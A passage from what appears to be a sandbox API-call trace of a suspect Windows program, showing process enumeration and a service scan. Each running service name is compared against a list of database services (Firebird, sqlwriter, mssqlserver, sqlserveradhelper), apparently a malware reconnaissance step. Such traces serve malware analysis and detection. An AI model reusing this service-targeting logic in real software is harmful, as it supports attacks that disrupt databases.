cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.292] lstrlenW (lpString="svchost.exe") returned 11 [0299.292] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.293] lstrlenW (lpString="svchost.exe") returned 11 [0299.293] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.294] lstrlenW (lpString="svchost.exe") returned 11 [0299.294] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.295] lstrlenW (lpString="svchost.exe") returned 11 [0299.295] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.296] lstrlenW (lpString="svchost.exe") returned 11 [0299.296] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.296] lstrlenW (lpString="svchost.exe") returned 11 [0299.297] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.297] lstrlenW (lpString="svchost.exe") returned 11 [0299.297] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.298] lstrlenW (lpString="svchost.exe") returned 11 [0299.298] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.299] lstrlenW (lpString="svchost.exe") returned 11 [0299.299] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0299.300] lstrlenW (lpString="spoolsv.exe") returned 11 [0299.300] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.301] lstrlenW (lpString="svchost.exe") returned 11 [0299.301] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0299.302] lstrlenW (lpString="audiodg.exe") returned 11 [0299.302] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0299.302] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0299.302] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0299.303] lstrlenW (lpString="Memory Compression") returned 18 [0299.303] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0299.304] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0299.304] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0299.305] lstrlenW (lpString="sihost.exe") returned 10 [0299.305] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.316] lstrlenW (lpString="svchost.exe") returned 11 [0299.316] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0299.324] lstrlenW (lpString="taskhostw.exe") returned 13 [0299.325] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0299.325] lstrlenW (lpString="msoia.exe") returned 9 [0299.325] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0299.326] lstrlenW (lpString="explorer.exe") returned 12 [0299.326] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0299.327] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0299.327] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0299.327] lstrlenW (lpString="SearchUI.exe") returned 12 [0299.327] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0299.328] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0299.328] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0299.329] lstrlenW (lpString="load0.exe") returned 9 [0299.329] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.329] lstrlenW (lpString="svchost.exe") returned 11 [0299.329] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0299.330] CloseHandle (hObject=0x10cc) returned 1 [0299.330] Sleep (dwMilliseconds=0x1f4) [0300.011] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd850 [0300.011] EnumServicesStatusExW (in: hSCManager=0x7bd850, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0300.012] GetLastError () returned 0xea [0300.012] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0300.012] EnumServicesStatusExW (in: hSCManager=0x7bd850, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0300.013] CloseServiceHandle (hSCObject=0x7bd850) returned 1 [0300.013] lstrlenW (lpString="Appinfo") returned 7 [0300.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0300.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0300.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0300.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0300.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0300.013] lstrlenW (lpString="AppXSvc") returned 7 [0300.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0300.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0300.013] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0300.013] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0300.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0300.013] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0300.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.013] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0300.013] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0300.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0300.014] lstrlenW (lpString="Audiosrv") returned 8 [0300.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0300.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0300.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0300.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0300.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0300.014] lstrlenW (lpString="BFE") returned 3 [0300.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0300.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0300.014] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0300.014] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0300.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0300.014] lstrlenW (lpString="BITS") returned 4 [0300.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0300.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0300.014] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0300.014] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0300.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0300.014] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0300.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.014] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0300.014] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0300.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0300.014] lstrlenW (lpString="CDPSvc") returned 6 [0300.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0300.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0300.014] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0300.014] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0300.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0300.014] lstrlenW (lpString="ClickToRunSvc") returned 13 [0300.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.014] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0300.014] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0300.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0300.015] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0300.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.015] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0300.015] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0300.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0300.015] lstrlenW (lpString="CryptSvc") returned 8 [0300.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0300.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0300.015] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0300.015] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0300.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0300.015] lstrlenW (lpString="DcomLaunch") returned 10 [0300.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.015] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0300.015] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0300.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0300.015] lstrlenW (lpString="DeviceAssociationService") returned 24 [0300.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.015] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0300.015] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0300.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0300.015] lstrlenW (lpString="Dhcp") returned 4 [0300.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0300.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0300.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0300.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0300.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0300.015] lstrlenW (lpString="Dnscache") returned 8 [0300.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0300.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0300.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0300.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0300.016] lstrlenW (lpString="DPS") returned 3 [0300.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0300.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0300.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0300.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0300.016] lstrlenW (lpString="DusmSvc") returned 7 [0300.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0300.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0300.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0300.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0300.016] lstrlenW (lpString="EventLog") returned 8 [0300.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0300.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0300.016] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0300.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0300.016] lstrlenW (lpString="EventSystem") returned 11 [0300.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0300.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0300.016] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0300.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0300.016] lstrlenW (lpString="FontCache") returned 9 [0300.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0300.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0300.016] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0300.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0300.016] lstrlenW (lpString="gpsvc") returned 5 [0300.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0300.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0300.016] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0300.016] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0300.017] lstrlenW (lpString="iphlpsvc") returned 8 [0300.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.017] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0300.017] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0300.017] lstrlenW (lpString="KeyIso") returned 6 [0300.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0300.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0300.017] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0300.017] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0300.017] lstrlenW (lpString="LanmanServer") returned 12 [0300.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0300.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0300.017] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0300.017] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0300.017] lstrlenW (lpString="LanmanWorkstation") returned 17 [0300.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.017] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0300.017] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0300.017] lstrlenW (lpString="lfsvc") returned 5 [0300.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0300.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0300.017] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0300.017] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0300.017] lstrlenW (lpString="lmhosts") returned 7 [0300.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0300.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0300.017] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0300.017] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0300.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0300.018] lstrlenW (lpString="LSM") returned 3 [0300.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0300.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0300.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0300.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0300.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0300.018] lstrlenW (lpString="MpsSvc") returned 6 [0300.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0300.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0300.018] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0300.018] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0300.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0300.018] lstrlenW (lpString="NcbService") returned 10 [0300.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0300.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0300.018] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0300.018] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0300.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0300.018] lstrlenW (lpString="netprofm") returned 8 [0300.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0300.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0300.018] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0300.018] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0300.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0300.018] lstrlenW (lpString="NgcSvc") returned 6 [0300.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0300.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0300.018] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0300.018] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0300.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0300.018] lstrlenW (lpString="NlaSvc") returned 6 [0300.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0300.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0300.018] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0300.019] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0300.019] lstrcmpiW (lpString1="sqlserveradhelper", 